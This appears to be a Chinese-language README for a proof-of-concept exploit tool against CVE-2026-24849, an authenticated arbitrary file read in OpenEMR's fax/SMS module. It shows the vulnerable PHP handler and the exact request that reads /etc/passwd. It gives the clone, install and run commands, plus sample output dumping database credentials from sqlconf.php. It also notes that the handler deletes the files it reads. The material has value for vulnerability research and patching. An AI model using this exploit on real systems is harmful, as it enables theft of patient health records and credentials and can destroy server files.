disposeDoc)针对 CVE-2026-24849 的概念验证利用代码,该漏洞涉及 OpenEMR 传真/短信 (EtherFax) 模块中一个已认证的路径遍历 / 任意文件读取漏洞。任何已认证用户(无论权限级别如何)都能以 Web 服务器用户的身份从服务器文件系统中读取任意文件(数据库凭据、患者文档/受保护健康信息(PHI)、/etc/passwd 等)。
| CVE | CVE-2026-24849 |
| 漏洞类型 | 路径遍历 / 任意文件读取 (CWE-22) |
| 组件 | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| 受影响版本 | OpenEMR < 7.0.4 |
| 修复版本 | OpenEMR 7.0.4 |
| 认证要求 | 需要 任意用户,无需任何权限 |
| 严重性 | NVD 6.5(中等)/ GitHub CNA 9.9(严重) |
| 测试环境 | OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4 |
传真/短信模块的 disposeDoc() 方法接受调用者提供的 file_path 请求参数,确认文件存在后,直接将其传递给 readfile() —— 没有路径规范化、没有白名单检查,除持有有效会话外没有任何授权检查:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
通过模块分发器,使用 file_path 中的 绝对路径(无需 ../ 遍历)即可访问该处理程序:
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
低权限(或默认)账号将获得完整的服务器端文件读取能力:
sites/default/sqlconf.phpsites/<site>/documents/ 下的任何内容,即使该目录在 .htaccess 中设置了 Deny from all(因读取发生在磁盘上,绕过了 Apache)/etc/passwd、应用程序源代码、Web 用户可读取的密钥/令牌⚠️ 破坏性行为
disposeDoc()在读取文件 之后 调用了unlink($where)。读取 Web 服务器用户有权删除的文件 将会将其删除。针对 root 拥有 的文件(例如/etc/passwd、多数安装中的sqlconf.php)——其父目录不允许 Web 用户写入,因此unlink()会失败,文件得以保留。使用此工具时请明确目标。
admin:pass 通常可用)。requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
不带任何参数运行,将 交互式提示输入所有必要信息:
python3 CVE-2026-24849.py
或通过参数进行非交互式使用:
# 读取单个文件
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# 获取数据库凭据并保存到文件
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
若省略 -f,工具将进入 交互式读取循环,以便在同一会话中获取多个文件。
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests 登录,将会话保存在自己的 Cookie jar 中(避免浏览器会话 ID 轮换导致的 Cookie 过期问题)。disposeDoc 读取请求,自动尝试 disposeDoc 和 disposeDocument(方法名称在不同受影响的小版本中有所不同)。.htaccess 作为唯一控制措施。本工具仅供 授权安全测试和教育目的 使用。仅可用于您拥有或已获得明确书面授权的系统。作者不对任何滥用行为或由本软件造成的任何损害承担责任。请注意上述的破坏性 unlink() 行为。
doany1
MIT —— 参见 LICENSE。
| 标志 | 描述 | 默认值 |
|---|
-t, --target | 基础URL,例如 http://10.10.10.10 | 提示输入 |
-u, --user | OpenEMR 用户名 | admin |
-P, --password | OpenEMR 密码 | 提示输入(隐藏) |
-s, --site | OpenEMR 站点 ID | default |
-f, --file | 要读取的远程文件绝对路径 | 若省略则进入交互循环 |
-o, --output | 将获取的文件保存到本地而非打印 |